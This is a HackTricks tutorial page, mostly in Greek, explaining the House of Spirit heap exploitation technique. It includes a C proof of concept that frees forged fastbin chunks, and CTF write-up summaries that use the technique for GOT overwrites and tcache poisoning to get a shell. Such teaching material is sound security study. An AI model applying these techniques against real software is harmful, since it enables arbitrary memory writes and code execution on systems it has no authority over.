House of Spirit
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
```c #include #include #include #include
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf("Victim: %p\n", victim);
return 0; }
</details>
### Στόχος
* Να είστε σε θέση να προσθέσετε σε tcache / fast bin μια διεύθυνση ώστε αργότερα να είναι δυνατή η κατανομή της
### Απαιτήσεις
* Αυτή η επίθεση απαιτεί από τον επιτιθέμενο να είναι σε θέση να δημιουργήσει μερικά ψεύτικα fast chunks που να υποδεικνύουν σωστά την τιμή μεγέθους τους και στη συνέχεια να είναι σε θέση να ελευθερώσει το πρώτο ψεύτικο chunk ώστε να μπει στο bin.
### Επίθεση
* Δημιουργήστε ψεύτικα chunks που παρακάμπτουν τους ελέγχους ασφαλείας: θα χρειαστείτε 2 ψεύτικα chunks που να υποδεικνύουν στις σωστές θέσεις τα σωστά μεγέθη
* Κά somehow manage να ελευθερώσετε το πρώτο ψεύτικο chunk ώστε να μπει στο fast ή tcache bin και στη συνέχεια να κατανεμηθεί για να αντικαταστήσει αυτή τη διεύθυνση
**Ο κώδικας από** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **είναι εξαιρετικός για να κατανοήσετε την επίθεση.** Αν και αυτό το σχήμα από τον κώδικα το συνοψίζει αρκετά καλά:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
Σημειώστε ότι είναι απαραίτητο να δημιουργηθεί το δεύτερο κομμάτι προκειμένου να παρακαμφθούν ορισμένοι έλεγχοι εγκυρότητας.
Libc infoleak: Μέσω μιας υπερχείλισης είναι δυνατόν να αλλάξει ένας δείκτης ώστε να δείχνει σε μια διεύθυνση GOT προκειμένου να διαρρεύσει μια διεύθυνση libc μέσω της ενέργειας ανάγνωσης του CTF
House of Spirit: Εκμεταλλευόμενοι έναν μετρητή που μετρά τον αριθμό των "τουφεκιών", είναι δυνατόν να παραχθεί ένα ψεύτικο μέγεθος του πρώτου ψεύτικου κομματιού, στη συνέχεια εκμεταλλευόμενοι ένα "μήνυμα" είναι δυνατόν να παραποιηθεί το δεύτερο μέγεθος ενός κομματιού και τελικά εκμεταλλευόμενοι μια υπερχείλιση είναι δυνατόν να αλλάξει ένας δείκτης που πρόκειται να απελευθερωθεί, έτσι ώστε το πρώτο ψεύτικο κομμάτι να απελευθερωθεί. Στη συνέχεια, μπορούμε να το εκχωρήσουμε και μέσα σε αυτό θα υπάρχει η διεύθυνση όπου αποθηκεύεται το "μήνυμα". Στη συνέχεια, είναι δυνατόν να κάνουμε αυτό να δείχνει στην είσοδο scanf
μέσα στον πίνακα GOT, έτσι ώστε να μπορούμε να το αντικαταστήσουμε με τη διεύθυνση του συστήματος.
Την επόμενη φορά που θα κληθεί το scanf
, μπορούμε να στείλουμε την είσοδο "/bin/sh"
και να αποκτήσουμε ένα shell.
Glibc leak: Μη αρχικοποιημένος buffer στο stack.
House of Spirit: Μπορούμε να τροποποιήσουμε τον πρώτο δείκτη ενός παγκόσμιου πίνακα δεικτών heap. Με μια μόνο τροποποίηση byte, χρησιμοποιούμε free
σε ένα ψεύτικο κομμάτι μέσα σε ένα έγκυρο κομμάτι, έτσι ώστε να αποκτήσουμε μια κατάσταση επικαλυπτόμενων κομματιών μετά την εκ νέου εκχώρηση. Με αυτό, μια απλή επίθεση δηλητηρίασης Tcache λειτουργεί για να αποκτήσουμε μια αυθαίρετη γραφή.
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)